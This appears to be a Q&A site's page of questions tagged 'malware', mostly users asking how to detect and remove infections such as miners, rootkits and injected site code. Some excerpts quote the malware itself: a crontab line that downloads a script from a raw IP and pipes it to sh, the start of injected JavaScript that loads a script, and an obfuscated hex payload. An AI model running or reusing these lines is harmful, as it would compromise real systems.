Questions tagged [malware]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0
votes
2answers
43 views

How to delete all the “*.exe” files which is 132kb

My external hard disk got a windows virus which makes lots of filename.exe copies of 132.6 kb. When I write find . -type f -name "*.exe" it founds thousands of .exe files and only 100 or 200 ...
2
votes
0answers
74 views

Failed to mount “Volume” The given volume was not found

I have been experiencing the following problem since a long time now: So, When I start my computer and I get my Xubuntu op system Desktop, I always get an usb icon to be shown up on my Desktop. When ...
3
votes
1answer
48 views

How do I verify a Linux distro against its public source code?

This question is not about how to trace build artifacts and signatures back to its "trusted source"—the OS maintainers. I'm asking this question with the deepin Linux distro in mind, which ...
2
votes
1answer
15 views

Can I require binary X to be booted only by a bootloader signed with key Y?

If I include Microsoft's keys in my secure boot setup, then any malware which has a Microsoft key can boot my Linux binary. Can I restrict my Linux binary to be booted only by a bootloader signed with ...
3
votes
1answer
104 views

crontab -e, permission denied after malware infection

Caused by: My machine was infected with the redis mining worm Here are some files under /root/.ssh (it's hidden, using ls -la I can see it), I remove them and some other related files, hope it won't ...
0
votes
1answer
48 views

Can I find who did an HTTP request?

I am mentioned that my server did an HTTP download some days ago, and it may be a virus. I have the request's source IP/port, the destination IP/port, the protocol, time, length, and method. Maybe my ...
0
votes
0answers
11 views

Maldetect - How does emailing reports work for monitoring mode?

We're using Maldetect and I'm setting it up to monitor at system startup. I'm wondering though, if you run maldet --monitor /some/path- what happens if maldet encounters a hit/suspected infected file? ...
0
votes
1answer
61 views

Replace (remove) multiple lines from files

A server of mine was hacked, and they added at the beginning of every js file the following: var hglgfdrr4634hezfdg = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s....
1
vote
1answer
232 views

CentOS 7 Malware? - User “impress+” executes a command (“cron”) with a high CPU consumption

One of my "CentOS 7" servers is showing very strange behavior. A user named "impress+" executes a command called "cron". This "cron" command is executed with a high CPU consumption. I worry because I ...
0
votes
2answers
412 views

ClamAV - What does the “clamd@scan” service do by default?

I have been researching ClamAV to understand what the "clamd@scan" service does by default in case of finding threats. So far I have not been able to get a satisfactory and clear answer (forums, ...
1
vote
0answers
54 views

malware identification found on ubuntu server

I discovered a script running on my server. Reading through apache log files, attacker used cms login vulnerability and downloaded script from this site http://217.61.107.9/wes. Can anybody identify ...
60
votes
2answers
9k views

Suspicious crontab entry running 'xribfa4' every 15 minutes

I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing. Crontab entry: */15 * * * ...
0
votes
1answer
41 views

Will running MalDet (malware detection) and ClamAV (anti-virus) at the same time cause any issues with the operation of each other?

I am running MalDet (malware detection) and ClamAV (anti-virus) on my RedHat 7.x server and wish to run these processes simultaneously. Other than using CPU resources, can running these two processes ...
1
vote
0answers
89 views

What process is accessing this laptops webcam? Is it a rootkit?

Old laptop, running minecraft for the kids. Noticed the webcam light blinking for half a second randomly. Assumed it was a minecraft mod, nuked everything off and did a fresh Ubuntu install. Sure ...
1
vote
0answers
146 views

How can/should I kill masscan process

I host a small Ubuntu server with DigitalOcean and recently realized a guest user was compromised. I have been trying to cleanup up my server to stop future attacks and have come across a process ...
-1
votes
1answer
72 views

Is my new micro-sd card immune from infection on my device? [closed]

My orangepiplus2e computer has no bios, no firmware, and no hdd (other than 16GB micro-sd). It has high quality router, ethernet switch, & firewall. Let's say that I have files (docs,pdf,.iso) ...
0
votes
2answers
68 views

Possible trojan on my laptop

Yesterday after connecting to my company's server I noticed an information that there were 107 failed login attempts. After checking the logs it turned out that all of them were coming from my IP ...
2
votes
1answer
121 views

google chrome “managed by your organization” on linux

today I opened google chrome and saw this on customize and Control menu : "managed by your organization" , is that a malware sign ? if yes how can I completely remove that malware? my os is ...
0
votes
0answers
39 views

what are Squamariaceae and Marcgravia processes which consume lot of cpu on macOS Mojave

I rencently found that two processes called Squamariaceae and Marcgravia where launched every now and then on my laptop and I wonder about their purposes. Indeed, I had never seen them before and ...
0
votes
1answer
123 views

Scan unmounted external USB drive for malware without Infecting the system

I have an external USB backup drive that I suspect being infected with a rootkit and fear it might spread to the host Linux system when just connected. Some experts say that some malware has infected ...
1
vote
1answer
171 views

How can I prevent against the HiddenWasp trojan? [closed]

As people probably know by now, some hackers released a trojan "HiddenWasp" into the Linux world. Article from Intezer: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/ So ...
0
votes
1answer
377 views

why would ldconfig create a symlink to libselinux.so.1 from libext2fs.so.2?

using strace I have found a behaviour of ldconfig (glibc), I can make no sense of lstat("/usr/lib/libext2fs.so.2", {st_mode=S_IFLNK|0777, st_size=16, ...}) = 0 unlink("/usr/lib/libext2fs.so.2") ...
0
votes
4answers
195 views

Linux command to find and remove text from several files at once

I have my site infected by a virus. This virus added this line in several files in my site. My idea is to remove this line of text with a unique command from the terminal. Let's say I have the folder ...
-1
votes
1answer
615 views

my server will damage if i delete this infected files?

some spam scripts in my server (it send thousands of mails/hr) i did scan to my server CentOS7 + Virtualmin using clamav , and this is the reuslts : /home/joudakpk/homes/info/Maildir/cur/1555410522....
0
votes
1answer
134 views

Cleaning infected site files from malicious code

I got 750 files that have injected by malicious code, and here is the code : var _0x6eea=["\x56\x79\x7A\x43\x6B\x63\x4B\x65\x77\x37\x67\x39\x64\x43\x6C\x36\x77\x70\x6E\x43\x6F\x63\x4F\x57\x51\x38\...
-1
votes
1answer
177 views

Mint 19 tcpd INFECTED sha1sum

When I use rkhunter it always shows two warnings and possible 4 rootkit information: Checking for suspicious (large) shared memory segments [ Warning ] Checking for hidden files and directories ...
0
votes
1answer
136 views

Still safe to use distro after applying c program to it?

I installed elementary OS Juno on an old iMac 5,1. The Computer uses a 32bit EFI, which is not able to boot elementary OS Juno so I decided to follow Matt Gadients guide for a little workaround. You ...
0
votes
1answer
132 views

Source for outgoing connection in nethogs

I see several outgoing connections in nethogs (please see screenshot below), where my server is connected e.g. via its port 445 (samba?) to someone else. However, ss does not show any process running/...
1
vote
1answer
4k views

A strange process called “watchbog” is hogging my entire CPU and I can't get rid of it [closed]

This process that has come out of nowhere is hogging my CPU and I have no clue what it is or how to get rid of it. You can see in the image below what it's doing: What is this process? How can I get ...
-1
votes
3answers
1k views

Threats found in /dev/fd

While trying to make sure I have no threats on my iMac I used Bitdefender to perform a full scan and I found this Output of running ls -la in /dev/fd: ls -la total 11 dr-xr-xr-x 1 root ...
1
vote
0answers
783 views

Is Linux able to perform any kind of Measured Boot?

Some Linux-distro's support Secure Boot. (These distro's use a 1st-stage bootloader signed by Microsoft.) Is Linux (without any additional modules) able or is there any Linux-distro out there that is ...
0
votes
1answer
47 views

How is source code reviewed/audited, prior to inclusion in linux mainline?

An answer to this question would provide insight and references about how the linux kernel source code is reviewed prior to be released? Particular interesting aspect of this question to me are: Who ...
4
votes
1answer
1k views

How to check an AUR package for malicious code?

Malicious code has been found and deleted later from 3 AUR packages acroread, blaz and minergate (e,g: acroread PKGBUILD detail). It was found in a commit released by a malicious user by changing the ...
0
votes
0answers
583 views

stop spammer attack over postfix/dovecot

I've got a server with postfix/dovecot which is somehow being attacked. I constantly see huge amount of logs like this (replaced my domain by example.com): Jul 2 10:03:03 my-server postfix/pickup[...
3
votes
1answer
200 views

process keeps on starting

On a VPS that I use, somehow I got a little annoying miner. (I'm not root) 15109 ? Z 0:00 [sh] <defunct> 15134 ? Ssl 0:03 [] 15160 ? S 0:00 ./5DiaEd75 ./...
3
votes
2answers
2k views

bash: /var/log/rkhunter.log: Permission denied (as root - Linux Mint 18.3)

I think my Linux laptop has been hacked, for three reasons: Whenever I saved files into the Home folder, the files wouldn't appear - not even in the other folders on my computer. An unfamiliar .txt ...
2
votes
2answers
104 views

Switching from Win10 to Linux: AV, defrag, disk cleanup tools, etc [closed]

I installed Linux Mint on my desktop in place of Windows 10. I am used to having virus/malware Scanners, defragmenters, Disk Clean up tools etc. I was wondering if people here would be able to ...
3
votes
1answer
2k views

Mixed case DNS requests - Malware in my network?

I am seeing some strange DNS queries. They have seemingly random mixed case coming from machines in my network. Is it possible I have malware? $ sudo tcpdump -n port 53 16:42:57.805038 192.168.5.134....
2
votes
2answers
674 views

How can I tell if Comcast is blocking access to an IP? [closed]

I have a site hosted on CentOS 7, part of an A2 Hosting environment. Although I can access my site (http://68.66.205.103/) on my phone and an AT&T ISP, I can't access it from a Comcast ISP or my ...
7
votes
2answers
2k views

rmdir failed to remove empty directory

I have a problem with removing empty dir, strace shows error: rmdir("empty_dir") = -1 ENOTEMPTY (Directory not empty) And ls -la empty_dir shows nothing. So i connected to the fs (ext4) with debugfs ...
0
votes
1answer
39 views

cd fails when trying to enter maldetect version-agnostic directory

I'm installing Maldet on Debian 9.3: cd /usr/local/src wget http://www.rfxn.com/downloads/maldetect-current.tar.gz tar -xzvf maldetect-current.tar.gz cd maldetect-* bash ./install.sh While doing cd ...
7
votes
1answer
1k views

Which process places a red circle to the bottom right corner of my display on Linux Mint 18.1?

Some days ago that widget appeared on screen and I have no idea how to remove it and how did it came to my system. Not taken by screenshots. I suggest it is malware. Any ideas?
27
votes
2answers
6k views

How can I kill minerd malware on an AWS EC2 instance? (compromised server)

I found malware on my ec2 instance which was continuously mining bitcoin and using my instance processing power. I successfully identified the process, but was unable to remove and kill it. I ran ...
-1
votes
2answers
92 views

Securing files against malware [closed]

Let's say, somehow a malware is present on your filesystem (e.g : BusyWinman Malware). How would you secure your files against being transfered by such a malware to somewhere else? Please, describe ...
0
votes
1answer
287 views

Gnome-pty-helper as a virus? [closed]

I asked this question and accepted the answer, where gnome-pty-helper was identified as a compromise of some sort. This is the link to the binary file. How can I find out what was accessed on the ...
0
votes
1answer
286 views

Will mounting sda6 to run rkhunter allow the malware to become active?

I think I've got malware on my laptop. You see, I got suspicious disc activity after accessing a dodgey website. So I'm going to run rkhunter on the laptop from a live knoppix USB stick. My linux ...
0
votes
1answer
52 views

Scan Website Data For Malicious Code & Injections [closed]

I want to scan a website's complete data, what's most authentic & user friendly tool for that on linux? Suggest me command line utilites please.
10
votes
2answers
2k views

how does fileless malware work on linux?

I understand the definition of fileless malware: Malicious code that is not file based but exists in memory only… More particularly, fileless malicious code … appends itself to an active ...
1
vote
1answer
922 views

Why are my crontab user files immutable and doesn't get executed even after changing attribute to mutable?

In a means to suppress a malware that created a crontab entry below, II introduced the usage of cron.deny */5 * * * * curl -fsSL http://62.109.20.220:38438/start.sh|sh However, all user crontabs ...
2
votes
1answer
717 views

How to remove Linux.MulDrop.14?

My son's Raspberry PI is infected with Linux.MulDrop.14. Can anyone post steps to remove it? I am working on it but am not quite there yet.